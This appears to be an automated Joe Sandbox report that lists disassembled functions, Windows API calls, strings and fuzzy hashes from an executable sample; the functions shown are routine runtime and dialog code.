Instruction Fuzzy Hash: 7B21B27664050ABFD7447B10CC81F3B77ACEF547A8B184628FC489A102F670DD456BB4

Function 00D7FB02 Relevance: 9.1, APIs: 6, Instructions: 57COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D7FB07
EnterCriticalSection.KERNEL32(00DB1E74,00000000,?,?,00D7A7C2,?,00D7C74B,?,00000000,?,00000001,?,?,?,00D83AFF,?), ref: 00D7FB15
new.LIBCMT ref: 00D7FB35
new.LIBCMT ref: 00D7FB6B
LeaveCriticalSection.KERNEL32(00DB1E74,?,00D7A7C2,?,00D7C74B,?,00000000,?,00000001,?,?,?,00D83AFF,?,00008000,?), ref: 00D7FB8B
LeaveCriticalSection.KERNEL32(00DB1E74,?,00D7A7C2,?,00D7C74B,?,00000000,?,00000001,?,?,?,00D83AFF,?,00008000,?), ref: 00D7FB96

Part of subcall function 00D7F930: InitializeCriticalSection.KERNEL32(000001A0,00DB1E74,00000000,?,?,00D7FB88,00000020,?,00D7A7C2,?,00D7C74B,?,00000000,?,00000001,?), ref: 00D7F969
Part of subcall function 00D7F930: CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,00D7A7C2,?,00D7C74B,?,00000000,?,00000001,?,?,?,00D83AFF), ref: 00D7F973
Part of subcall function 00D7F930: CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,00D7A7C2,?,00D7C74B,?,00000000,?,00000001,?,?,?,00D83AFF), ref: 00D7F983

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: CriticalSection$CreateLeave$EnterEventH_prologInitializeSemaphore
String ID:
API String ID: 3919453512-0
Opcode ID: 9d7991a53a1d37ce34c989ff65ee1cdec3123cf0a4c92945f81678fcb3947afe
Instruction ID: 187dde7c7c497481a34402f8fc546017afc3a21202e69d4da61ecfcdb3f1b2f3
Opcode Fuzzy Hash: 9d7991a53a1d37ce34c989ff65ee1cdec3123cf0a4c92945f81678fcb3947afe
Instruction Fuzzy Hash: 79118234A00311EBD724AB68EC65BBD7AB8EB89750F00423AF819D73D0EB70C8008B70

Function 00D9631F Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00DACBE8,00D92674,00DACBE8,?,?,00D92213,?,?,00DACBE8), ref: 00D96323
_free.LIBCMT ref: 00D96356
_free.LIBCMT ref: 00D9637E
SetLastError.KERNEL32(00000000,?,00DACBE8), ref: 00D9638B
SetLastError.KERNEL32(00000000,?,00DACBE8), ref: 00D96397
_abort.LIBCMT ref: 00D9639D

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 6bf507e04e04f28fa68373302d23bb21bb857d0b0a4d16dc3228e881f320ae3a
Instruction ID: 78479f9114f207c7bd4fa9c16e192485b0615d31e64779c315463f76bc27419c
Opcode Fuzzy Hash: 6bf507e04e04f28fa68373302d23bb21bb857d0b0a4d16dc3228e881f320ae3a
Instruction Fuzzy Hash: F1F0AF36605B006ADF123B687D4AB1A2629DBC27B1B2D4224F528E2295EF31DC028779

Function 00D993F3 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,F5E85006,00D92794,00000000,00000000,00D92FC2,?,00D92FC2,?,00000001,00D92794,F5E85006,00000001,00D92FC2,00D92FC2), ref: 00D99440
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00D994C9
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00D994DB
__freea.LIBCMT ref: 00D994E4

Part of subcall function 00D959FC: RtlAllocateHeap.NTDLL(00000000,?,?,?,00D923AA,?,0000015D,?,?,?,?,00D92F29,000000FF,00000000,?,?), ref: 00D95A2E

Strings

d0F, xrefs: 00D993FB

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID: d0F
API String ID: 2652629310-1238022483
Opcode ID: 1db540438e1c08e71fd0324476b1e5e0fbfe811ce14633ebf173cd318f698c9c
Instruction ID: 0471f92e5b9d3c9dfb25cd9a82804782d52eb6036961d0c755a59ba32e289f71
Opcode Fuzzy Hash: 1db540438e1c08e71fd0324476b1e5e0fbfe811ce14633ebf173cd318f698c9c
Instruction Fuzzy Hash: DD318E72A0020AABDF269F68DC55EAEBBA5EB40710F19422CFC05D6290E735CD51CBB4

Function 00D8B820 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00D712E7: GetDlgItem.USER32(00000000,00003021), ref: 00D7132B
Part of subcall function 00D712E7: SetWindowTextW.USER32(00000000,00DA02E4), ref: 00D71341

EndDialog.USER32(?,00000001), ref: 00D8B86B
GetDlgItemTextW.USER32(?,00000066,00000800), ref: 00D8B881
SetDlgItemTextW.USER32(?,00000065,?), ref: 00D8B89B
SetDlgItemTextW.USER32(?,00000066), ref: 00D8B8A6

Strings

RENAMEDLG, xrefs: 00D8B838

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: fc4a0a0c062bf0c5b9804734fcf11e6f673b1e9e8a8ee16c5fdd9a3425b1a7a9
Instruction ID: 80262d00f731a6ca1057817346c2ee58eedec5f5758977db99e501eaace171b9
Opcode Fuzzy Hash: fc4a0a0c062bf0c5b9804734fcf11e6f673b1e9e8a8ee16c5fdd9a3425b1a7a9
Instruction Fuzzy Hash: 4001F533A403167AD2116EA9AE49F377B7CEB86B61F040517F240F21A0C766A804EB72

Function 00D7DEB5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00D7F309: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00D7F324
Part of subcall function 00D7F309: LoadLibraryW.KERNELBASE(?,?,00D7DEC8,Crypt32.dll,?,00D7DF4A,?,00D7DF2E,?,?,?,?), ref: 00D7F346

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00D7DED4
GetProcAddress.KERNEL32(00DB1E58,CryptUnprotectMemory), ref: 00D7DEE4

Strings

Crypt32.dll, xrefs: 00D7DEBE
CryptUnprotectMemory, xrefs: 00D7DEDA
CryptProtectMemory, xrefs: 00D7DECE

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 3ad0b708b6d0be73008e5476098616e43a2e52f3b00a160070d4bf00575bbfa8
Instruction ID: 3a9d0f7272f6e447539272bd301710cb76bedc211e50f4bd57833160902cba57
Opcode Fuzzy Hash: 3ad0b708b6d0be73008e5476098616e43a2e52f3b00a160070d4bf00575bbfa8
Instruction Fuzzy Hash: 0CE046B0500743AFDB415B75A808B0AFFA5BFA2714F18C52AF058C2640EBB4E0A88B74

Function 00D989AF Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00D989B8
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D989DB

Part of subcall function 00D959FC: RtlAllocateHeap.NTDLL(00000000,?,?,?,00D923AA,?,0000015D,?,?,?,?,00D92F29,000000FF,00000000,?,?), ref: 00D95A2E

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00D98A01
_free.LIBCMT ref: 00D98A14
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00D98A23

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 42caf953f59dfb2609e1e0d74eda342db18a690cc8d3cc9fbff9a5e9293d7807
Instruction ID: b492cc35206cd93dc14ff3c3849f4d6e8f0c6a7df2ef543a7d66ab4f93d6faef
Opcode Fuzzy Hash: 42caf953f59dfb2609e1e0d74eda342db18a690cc8d3cc9fbff9a5e9293d7807
Instruction Fuzzy Hash: B90184726017157B2B2156BAAC8CC7B6D6DDAC7FA1318012AFD04D3245EE64CC01A6B1

Function 00D963A3 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00D95E43,00D95ADF,?,00D9634D,00000001,00000364,?,00D92213,?,?,00DACBE8), ref: 00D963A8
_free.LIBCMT ref: 00D963DD
_free.LIBCMT ref: 00D96404
SetLastError.KERNEL32(00000000,?,00DACBE8), ref: 00D96411
SetLastError.KERNEL32(00000000,?,00DACBE8), ref: 00D9641A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 059f2b2ebd6ce84d3974348edd13e6f6905c715d24468b3ef28eb1ee840024f0
Instruction ID: 9153f96f14b75714161b1ce16f1cac799047e14c4ad440c36501be61317cb7b8
Opcode Fuzzy Hash: 059f2b2ebd6ce84d3974348edd13e6f6905c715d24468b3ef28eb1ee840024f0
Instruction Fuzzy Hash: C801D1763497006B9F022B686C89B1A2A29DBD27717294238F424E2282EF35CC014374

Function 00D9926A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00D99282

Part of subcall function 00D959C2: RtlFreeHeap.NTDLL(00000000,00000000,?,00D99301,?,00000000,?,00000000,?,00D99328,?,00000007,?,?,00D99725,?), ref: 00D959D8
Part of subcall function 00D959C2: GetLastError.KERNEL32(?,?,00D99301,?,00000000,?,00000000,?,00D99328,?,00000007,?,?,00D99725,?,?), ref: 00D959EA

_free.LIBCMT ref: 00D99294
_free.LIBCMT ref: 00D992A6
_free.LIBCMT ref: 00D992B8
_free.LIBCMT ref: 00D992CA

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e28a0996950c137ec4ae2b93bbed28c5fe2d5f1623335e6c1b83e4b34bc967a1
Instruction ID: c80ccb75075e46c8251f427e23718d901927f8060086761dbba199cac820465c
Opcode Fuzzy Hash: e28a0996950c137ec4ae2b93bbed28c5fe2d5f1623335e6c1b83e4b34bc967a1
Instruction Fuzzy Hash: DDF0EC32605700BB9F65EB6CF982C5AB7E9EA017207984919F448D7651C724FC80CAB8

Function 00D9553F Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D9555D

Part of subcall function 00D959C2: RtlFreeHeap.NTDLL(00000000,00000000,?,00D99301,?,00000000,?,00000000,?,00D99328,?,00000007,?,?,00D99725,?), ref: 00D959D8
Part of subcall function 00D959C2: GetLastError.KERNEL32(?,?,00D99301,?,00000000,?,00000000,?,00D99328,?,00000007,?,?,00D99725,?,?), ref: 00D959EA

_free.LIBCMT ref: 00D9556F
_free.LIBCMT ref: 00D95582
_free.LIBCMT ref: 00D95593
_free.LIBCMT ref: 00D955A4

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 51891a78ecb0cb02b79adb6620eef88c612eb2ace31b2632702bfee39aea86b7
Instruction ID: 88b64719ee4ec52c259b53ab9f0a6bd91720eff804ae57ca0b223e0fbf111c8a
Opcode Fuzzy Hash: 51891a78ecb0cb02b79adb6620eef88c612eb2ace31b2632702bfee39aea86b7
Instruction Fuzzy Hash: FBF0F9B0512B569B9F427F6CFC028083B64FB05720346065BF444D6369C7394801DFB2

Function 00D9CBE8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

d0F, xrefs: 00D9CBF0

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID:
String ID: d0F
API String ID: 0-1238022483
Opcode ID: 914cb0bc2ea92aff4bdc82c19815b42266315e0d56944871a512b1ccf5e3d680
Instruction ID: 2b55891c712aa9185dbd2edeb0d775625bc25d21017128df40aef8b19bf5ef42
Opcode Fuzzy Hash: 914cb0bc2ea92aff4bdc82c19815b42266315e0d56944871a512b1ccf5e3d680
Instruction Fuzzy Hash: E2519171D2020AABDF21AFA8D845FEE7FB8EF0A314F141169F405A7292D7359A41CB71

Function 00D94BDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe,00000104), ref: 00D94C1A
_free.LIBCMT ref: 00D94CE5
_free.LIBCMT ref: 00D94CEF

Strings

C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, xrefs: 00D94C11, 00D94C18, 00D94C47, 00D94C7F

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
API String ID: 2506810119-1612741795
Opcode ID: 67349c8116ae6f30a74ba86a8df2005f1ba4d174c54c83becff045a0490c081b
Instruction ID: 34416c0ed51f2bfd5d2a2195f7775fbd43ac3fee2d59f9df7b20035020b63cb4
Opcode Fuzzy Hash: 67349c8116ae6f30a74ba86a8df2005f1ba4d174c54c83becff045a0490c081b
Instruction Fuzzy Hash: D3318D71A02259AFDF21DF999D81D9EBBFCEF89720F144066F80497212D7718A42CBB0

Function 00D9C9D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000D55,00000000,00000000,00000000,00000000,?,?,00D9CD2F,00000000,00000000,00000000), ref: 00D9CA83
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00D9CD2F,00000000,00000000,00000000,00000000,00000000,00D92C4E,00000000,00D92C4E,00DA81D8), ref: 00D9CAB1
GetLastError.KERNEL32(?,00D9CD2F,00000000,00000000,00000000,00000000,00000000,00D92C4E,00000000,00D92C4E,00DA81D8,00000010,00D9B747,00000000,00DA8150,00000010), ref: 00D9CAE2

Strings

d0F, xrefs: 00D9C9DF

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: d0F
API String ID: 2456169464-1238022483
Opcode ID: b31d39b2ce3b0272f8d6faa01d5ad5cf924149c3bce23e429c6c1bf5fd1d4426
Instruction ID: 122c25e8c3e264aa3e04796a5b934ddeb9ebd8391ac22b47864d94ee1afdb37e
Opcode Fuzzy Hash: b31d39b2ce3b0272f8d6faa01d5ad5cf924149c3bce23e429c6c1bf5fd1d4426
Instruction Fuzzy Hash: 03313D75A102199FDB14CF5DDC91AEAB7B9EB18305F1444ADE90AD7250D630AD80CB74

Function 00D77463 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D77468

Part of subcall function 00D73AA3: __EH_prolog.LIBCMT ref: 00D73AA8

GetLastError.KERNEL32(00000052,?,?,?,?,00000800,?,?,?,00000000), ref: 00D7752E

Part of subcall function 00D77A9D: GetCurrentProcess.KERNEL32(00000020,?), ref: 00D77AAC
Part of subcall function 00D77A9D: GetLastError.KERNEL32 ref: 00D77AF2
Part of subcall function 00D77A9D: CloseHandle.KERNEL32(?), ref: 00D77B01

Strings

SeRestorePrivilege, xrefs: 00D774C1
SeSecurityPrivilege, xrefs: 00D774AC

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 61d24e7f1ba2e270df06b8337474c8d4374bbb8e319f2750a2b036327d972a21
Instruction ID: ae8b30935cb5f1137278de0486247a3b40f19c1ece5309e2d856d5490394c8bf
Opcode Fuzzy Hash: 61d24e7f1ba2e270df06b8337474c8d4374bbb8e319f2750a2b036327d972a21
Instruction Fuzzy Hash: 6F317C71904208AEDF20EF68DC46BEE7B78EF45714F048429F84DE7292E7718A448B71

Function 00D8A8D4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

CharUpperW.USER32(?,?,?,?,00001000), ref: 00D8A92C
CharUpperW.USER32(?,?,?,?,?,00001000), ref: 00D8A953

Strings

-, xrefs: 00D8A91A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
